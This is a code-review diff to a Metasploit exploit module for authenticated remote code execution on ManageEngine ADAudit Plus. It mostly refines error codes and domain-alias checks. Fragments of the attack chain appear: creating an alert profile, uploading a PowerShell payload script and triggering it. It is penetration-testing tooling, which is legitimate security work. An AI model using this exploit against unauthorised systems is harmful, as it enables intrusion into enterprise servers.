final code review fixes

lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb

@@ -46,15 +46,18 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo
   # @return [Hash] Hash containing a `status` key, which is used to hold a
   #   status value as an Integer value, a `message` key, which is used
   #   to hold a message associated with the status value as a String,
-  #   and an optional 'domain_aliases' key, which is used to hold an Array
-  #   of Strings for the configured domain aliases.
+  #   and a 'domain_aliases' key, which is used to hold an Array
+  #   of Strings for the configured domain aliases, or an empty Array
+  #   if no domain aliases were found.
   def adaudit_plus_grab_domain_aliases(res_body)
     doc = ::Nokogiri::HTML(res_body)
     css_dom_name = doc.css('select#domainName')&.first
+    domain_aliases = []
 
     no_domains_response = {
       'status' => adaudit_plus_status::NO_DOMAINS,
-      'message' => 'No configured Active Directory domains were found.'
+      'message' => 'No configured Active Directory domains were found.',
+      'domain_aliases' => domain_aliases
     }
 
     return no_domains_response if css_dom_name.blank?
@@ -62,7 +65,6 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo
     css_configured_domains = css_dom_name.css('option')
     return no_domains_response if css_configured_domains.blank?
 
-    domain_aliases = []
     css_configured_domains.each do |domain|
       next unless domain&.keys&.include?('value')
       value = domain['value']

modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb

@@ -190,11 +190,11 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
     unless res_check_7004
-      fail_with(Failure::Unknown, 'Connection failed when trying to get the required info via /api/json/jsMessage')
+      fail_with(Failure::Unreachable, 'Connection failed when trying to get the required info via /api/json/jsMessage')
     end
 
     unless res_check_7004.code == 200 && res_check_7004.body.include?('adap_common_script_info')
-      fail_with(Failure::Unknown, 'Received unexpected response when trying to get the required info via /api/json/jsMessage')
+      fail_with(Failure::UnexpectedReply, 'Received unexpected response when trying to get the required info via /api/json/jsMessage')
     end
 
     alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\
@@ -249,13 +249,13 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
     unless res_save_alert
-      fail_with(Failure::Unknown, 'Connection failed when trying to create an alert profile via /api/json/config/alertprofiles/save')
+      fail_with(Failure::Unreachable, 'Connection failed when trying to create an alert profile via /api/json/config/alertprofiles/save')
     end
 
     unless res_save_alert.code == 200 && res_save_alert.body.include?('Successfully Saved the Alert Profile')
       print_error("The server sent the following response: #{res_save_alert.body&.strip}")
       @alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil
-      fail_with(Failure::Unknown, 'Failed to create an alert profile via /api/json/config/alertprofiles/save')
+      fail_with(Failure::UnexpectedReply, 'Failed to create an alert profile via /api/json/config/alertprofiles/save')
     end
 
     print_good("Successfully created alert profile #{@alert_name}")
@@ -326,11 +326,11 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
     unless res
-      fail_with(Failure::Unknown, 'Connection failed')
+      fail_with(Failure::Unreachable, 'Connection failed')
     end
 
     unless res.code == 200 && res.body.include?('{"success":true}')
-      fail_with(Failure::Unknown, 'Failed to upload the payload.')
+      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.')
     end
 
     print_good("Successfully wrote the payload to /alert_scripts/#{ps1_script_name} in the ManageEngine ADAudit Plus install directory")
@@ -364,6 +364,11 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
     domain_aliases = domain_alias_results['domain_aliases']
+    # check if we actually have any configured domain aliases now, otherwise the target isn't exploitable
+    if domain_aliases.blank?
+      return CheckCode::Safe('Failed to verify if any Active Directory domains are configured on the target.')
+    end
+
     # if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed
     if domain_aliases == ['ADAuditPlus Authentication']
       return CheckCode::Safe('No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')
@@ -371,7 +376,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # set the domain alias to the first configured domain, unless the user provided an invalid domain
     # in the latter case, the module won't be able to authenticate to the target so there's no point to proceed
-    if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain)
+    if auth_domain == 'ADAuditPlus Authentication' || domain_aliases.include?(auth_domain)
       vprint_status(domain_alias_msg)
       @domain_alias = domain_aliases.first
       print_status("Using configured authentication domain alias #{@domain_alias}.")
@@ -403,9 +408,8 @@ class MetasploitModule < Msf::Exploit::Remote
     build_results = adaudit_plus_grab_build(@adapcsrf_cookie)
     build_msg = build_results['message']
     unless build_results['status'] == adaudit_plus_status::SUCCESS
-      # this covers: adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY and adaudit_plus_status::NO_BUILD_NUMBER
-      # if we can't connect, receive an unexpected reply, or can't find the build number, we don't know what the target is and we can't proceed
-      # in those cases we can also not say that the target is safe or detected, so we return Unknown
+      # if we don't get a valid build number, we don't know what the target is, so we can't proceed
+      # however, we can also not say that the target is safe or detected, so we return Unknown
       return CheckCode::Unknown(build_msg)
     end
 
@@ -500,17 +504,15 @@ class MetasploitModule < Msf::Exploit::Remote
       when adaudit_plus_status::NO_DOMAINS
         fail_with(Failure::NotVulnerable, domain_alias_msg)
       when adaudit_plus_status::SUCCESS
-        # just to distinguish it from any other potential statuses that this method may return in the future
+        # make sure we actually have a domain alias, otherwise the target is not vulnerable
+        if domain_alias_results['domain_aliases'].blank?
+          fail_with(Failure::NotVulnerable, 'Failed to verify if any Active Directory domains are configured on the target.')
+        end
       else
         fail_with(Failure::Unknown, domain_alias_msg)
       end
 
       domain_aliases = domain_alias_results['domain_aliases']
-      if domain_aliases.blank?
-        # this shouldn't happen, but let's check this just in case
-        fail_with(Failure::Unknown, 'Failed to verify if any Active Directory domains are configured on the target.')
-      end
-
       # if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed
       if domain_aliases == ['ADAuditPlus Authentication']
         fail_with(Failure::NoTarget, 'No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')